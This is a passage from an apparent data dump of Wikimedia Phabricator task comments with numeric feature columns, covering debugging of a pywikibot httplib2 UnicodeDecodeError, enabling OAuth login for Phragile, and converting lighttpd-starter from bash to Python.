As for ""ASCII string"" I meant all characters are valid ascii characters, and the_string.encode('ascii') does not fail, and there is no u flag before the string.",,,1431790759,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,4.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,8.0,2.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.528301886792453,0.7547169811320755,"Sorry, I'm wrong again. Running after ""git checkout d798da349087d231d9dad203cd6b48a1aea03875"" gets the error again.

As for ""ASCII string"" I meant all characters are valid ascii characters, and the_string.encode('ascii') does not fail, and there is no u flag before the string."
459815,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Uh … great that Python 3 doesn't work :( Do you mean with “ASCII string” that `the_string.encode('ascii')` does not fail? Also your other traceback isn't very helpful either as there is no HTTP layer present (it's in another thread) :( .

And I don't think d798da349 fixed your issue (I at least couldn't explain why).",,,1431790403,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,1.0,3.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,3.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,9.0,7.0,6.0,1.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.4927536231884058,0.8260869565217391,"Uh … great that Python 3 doesn't work :( Do you mean with “ASCII string” that CODE does not fail? Also your other traceback isn't very helpful either as there is no HTTP layer present (it's in another thread) :( .

And I don't think d798da349 fixed your issue (I at least couldn't explain why)."
459816,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),,,,1431790446,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
459813,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),,,,1431790268,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
459810,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"The command is site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
where imagePage is a pywikibot.Page,
path is an ascii string,
self.summary is an ascii string
ignore is False

A KeyboardInterrupt during the wait shows:

```
WARNING: Waiting 40 seconds before retrying.
^CTraceback (most recent call last):
  File ""flickrAZ.py"", line 194, in <module>
    main()
  File ""flickrAZ.py"", line 190, in main
    bot.run()
  File ""flickrAZ.py"", line 178, in run
    self.parsePages()
  File ""flickrAZ.py"", line 72, in parsePages
    self.parsePhoto(photo)
  File ""flickrAZ.py"", line 133, in parsePhoto
    self.upload(imagePage, fileURL, name, False)
  File ""flickrAZ.py"", line 153, in upload
    site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 950, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/site.py"", line 4969, in upload
    result = req.submit()
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1579, in submit
    self.wait()
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1710, in wait
    time.sleep(self.retry_wait)
KeyboardInterrupt
```

As for Python 3, it gives ""ImportError: No module named 'urllib2'"". I'm not sure if I can run it

EDIT: urllib2 issue fixed, but the flickr library I am using has too much syntax errors in python 3",,,1431789936,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1.0,0.0,0.0,0.0,1.0,2.5,2.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,3.0,0.5,2.5,4.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,8.5,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,16.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.5,11.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,5.0,4.5,4.0,0.0,4.0,0.0,5.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,3.798043326345213,0.7017819706498952,"The command is site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
where imagePage is a pywikibot.Page,
path is an ascii string,
self.summary is an ascii string
ignore is False

A KeyboardInterrupt during the wait shows:

``CODE``

As for Python 3, it gives ""ImportError: No module named 'urllib2'"". I'm not sure if I can run it

EDIT: urllib2 issue fixed, but the flickr library I am using has too much syntax errors in python 3"
459807,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"The command is site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
where imagePage is a pywikibot.Page,
path is an ascii string,
self.summary is an ascii string
ignore is False

A KeyboardInterrupt during the wait shows:

```
WARNING: Waiting 40 seconds before retrying.
^CTraceback (most recent call last):
  File ""flickrAZ.py"", line 194, in <module>
    main()
  File ""flickrAZ.py"", line 190, in main
    bot.run()
  File ""flickrAZ.py"", line 178, in run
    self.parsePages()
  File ""flickrAZ.py"", line 72, in parsePages
    self.parsePhoto(photo)
  File ""flickrAZ.py"", line 133, in parsePhoto
    self.upload(imagePage, fileURL, name, False)
  File ""flickrAZ.py"", line 153, in upload
    site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 950, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/site.py"", line 4969, in upload
    result = req.submit()
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1579, in submit
    self.wait()
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1710, in wait
    time.sleep(self.retry_wait)
KeyboardInterrupt
```

As for Python 3, it gives ""ImportError: No module named 'urllib2'"". I'm not sure if I can run it",,,1431789425,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,2.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,12.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,22.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,5.0,5.0,0.0,5.0,0.0,6.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8117647058823527,0.6352941176470588,"The command is site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
where imagePage is a pywikibot.Page,
path is an ascii string,
self.summary is an ascii string
ignore is False

A KeyboardInterrupt during the wait shows:

``CODE``

As for Python 3, it gives ""ImportError: No module named 'urllib2'"". I'm not sure if I can run it"
459805,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Okay what command did you use to get the exception? And is it possible to run it in Python 3 maybe? The traceback itself isn't really helpful but afaics at some point in the HTTP layer there was the UnicodeDecodeError and I don't think it's related to the MediaWiki server itself. The problem is that I can't see where the error originally came from and at least usually does Python 3 provide you all exceptions that lead to an exception so this might help.

```
Python 3.4.3 (default, Mar 10 2015, 13:05:12) 
[GCC 4.8.3 20140911 (Red Hat 4.8.3-7)] on linux
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
>>> try:
...   int('a')
... except Exception as e:
...   ex = e
... 
>>> raise ex
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""<stdin>"", line 2, in <module>
ValueError: invalid literal for int() with base 10: 'a'
```

```
Python 2.7.8 (default, Aug 28 2014, 16:47:22) 
[GCC 4.8.3 20140624 (Red Hat 4.8.3-1)] on linux2
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
>>> try:
...   int('a')
... except Exception as e:
...   ex = e
... 
>>> raise ex
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
ValueError: invalid literal for int() with base 10: 'a'
```",,,1431788097,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,2.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,1.0,2.0,0.0,8.0,11.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,0.0,1.0,1.0,8.0,4.0,12.0,3.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,9.0,11.0,4.0,2.0,0.0,0.0,9.0,0.0,3.0,1.0,2.0,0.0,0.0,1.0,0.0,4.020408163265306,0.7040816326530612,"Okay what command did you use to get the exception? And is it possible to run it in Python 3 maybe? The traceback itself isn't really helpful but afaics at some point in the HTTP layer there was the UnicodeDecodeError and I don't think it's related to the MediaWiki server itself. The problem is that I can't see where the error originally came from and at least usually does Python 3 provide you all exceptions that lead to an exception so this might help.

``CODE`CODE`CODE``"
459802,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Unfortunately HEAD is not very specific. The two most current versions (I've checked yet) have different line numbers. What does `python pwb.py version` tell?

//EDIT:// Great just checked the history one commit further and it's as of 1e54a7d6. Seems sensible.",,,1431787598,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,17.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,4.0,4.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.270833333333333,0.9166666666666666,"Unfortunately HEAD is not very specific. The two most current versions (I've checked yet) have different line numbers. What does CODE tell?

//EDIT:// Great just checked the history one commit further and it's as of 1e54a7d6. Seems sensible."
459800,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Unfortunately HEAD is not very specific. The two most current versions (I've checked yet) have different line numbers. What does `python pwb.py version` tell?,,,1431787532,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.214285714285714,0.9642857142857143,Unfortunately HEAD is not very specific. The two most current versions (I've checked yet) have different line numbers. What does CODE tell?
98954,Activate OAuth Server Application in Phabricator for phragile login,"The OAuth Server Application has to be activated in Phabricator. Once activated Phragile needs to be registered as an OAuth application. There are two fields to fill out when creating a new OAuth application. ""Name"" should be ""Phragile"" and ""Redirect URL"" should be ""http://our-phragile-domain/login"" (we don't know yet what the domain will be but it can be changed later on anyway). This will generate an OAuth Client ID and an OAuth Client Secret which Phragile needs in order for the OAuth login mechanism to work.

See discussion in T90489 

(we need this solved before the hackathon in Lyon) - thanks.",Medium,50.0,1431515737,1431673670.0,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-kuvvshzwmdawexammucy,task_description,resolved,True,c3,1,False,False,True,-8,True,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.5,1.5,0.0,3.5,9.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,3.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,6.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,4.0,17.5,0.5,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,2.0,9.0,13.5,0.0,3.5,0.0,2.0,0.0,2.0,2.5,0.0,0.5,0.0,0.0,0.0,3.9833333333333334,0.7166666666666667,"The OAuth Server Application has to be activated in Phabricator. Once activated Phragile needs to be registered as an OAuth application. There are two fields to fill out when creating a new OAuth application. ""Name"" should be ""Phragile"" and ""Redirect URL"" should be ""URL (we don't know yet what the domain will be but it can be changed later on anyway). This will generate an OAuth Client ID and an OAuth Client Secret which Phragile needs in order for the OAuth login mechanism to work.

See discussion in T90489 

(we need this solved before the hackathon in Lyon) - thanks."
460746,Activate OAuth Server Application in Phabricator for phragile login,"@mmodell It's working now, thanks!",,,1432037869,,PHID-USER-5dv7dcltvyvolwzbm2af,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.125,1.0,"SCREEN_NAME It's working now, thanks!"
460642,Activate OAuth Server Application in Phabricator for phragile login,"@jakob_wmde: apologies, it seems the edit I made was not saved (for unknown reason, maybe an error on my part) but it should work now. Try it again and let me know? Thanks for your patience.",,,1432001498,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,7.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,16.0,7.0,0.0,2.0,0.0,0.0,16.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.522727272727273,0.8863636363636364,"SCREEN_NAME: apologies, it seems the edit I made was not saved (for unknown reason, maybe an error on my part) but it should work now. Try it again and let me know? Thanks for your patience."
460189,Activate OAuth Server Application in Phabricator for phragile login,@mmodell I don't seem to have edit rights on the Phragile OAuth client yet. Did something go wrong or do I just have to wait a bit?,,,1431945904,,PHID-USER-5dv7dcltvyvolwzbm2af,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,False,,,-7,True,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,10.0,10.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,7.0,10.0,7.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6,0.8666666666666667,SCREEN_NAME I don't seem to have edit rights on the Phragile OAuth client yet. Did something go wrong or do I just have to wait a bit?
460149,Activate OAuth Server Application in Phabricator for phragile login,@abraham: done,,,1431939642,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,SCREEN_NAME: done
460133,Activate OAuth Server Application in Phabricator for phragile login,@mmodell thanks! May @Jakob_WMDE get also edit rights? ,,,1431937793,,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,1.0,SCREEN_NAME thanks! MaySCREEN_NAME get also edit rights? 
459146,Activate OAuth Server Application in Phabricator for phragile login,"I ran this by @csteipp on irc and he didn't have any objections as long as we keep up on upstream security updates.

The client is set up at https://phabricator.wikimedia.org/oauthserver/client/view/PHID-OASC-nrnpck7slhp2upsgkfrx/ - it is editable by @abraham and phabricator administrators.",,,1431673670,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,15.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,15.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2439024390243905,0.8292682926829268,"I ran this bySCREEN_NAME on irc and he didn't have any objections as long as we keep up on upstream security updates.

The client is set up at URL - it is editable bySCREEN_NAME and phabricator administrators."
458892,Activate OAuth Server Application in Phabricator for phragile login,"Though, it might make sense to make #security aware of this change.",,,1431630249,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,"Though, it might make sense to make #security aware of this change."
458890,Activate OAuth Server Application in Phabricator for phragile login,"I don't know if we really need help from #operations, I can probably set this up.",,,1431630199,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,0.95,"I don't know if we really need help from #operations, I can probably set this up."
98441,Convert lighttpd-starter from bash to python,Properly. With templates for generating the output config file.,Medium,50.0,1430980090,1433370483.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-iu6mhxxvuuwzv2o45xwj,task_description,resolved,True,c3,1,True,True,True,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.9090909090909091,Properly. With templates for generating the output config file.
458994,Convert lighttpd-starter from bash to python,"Change 210833 merged by jenkins-bot:
Add lighttpd server types

[[https://gerrit.wikimedia.org/r/210833]]",,,1431639706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu6mhxxvuuwzv2o45xwj,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.736842105263158,0.8947368421052632,"Change 210833 merged by jenkins-bot:
Add lighttpd server types

[[GERRIT_URL]]"
458570,Convert lighttpd-starter from bash to python,"Change 210833 had a related patch set uploaded (by Yuvipanda):
Add lighttpd server types

[[https://gerrit.wikimedia.org/r/210833]]
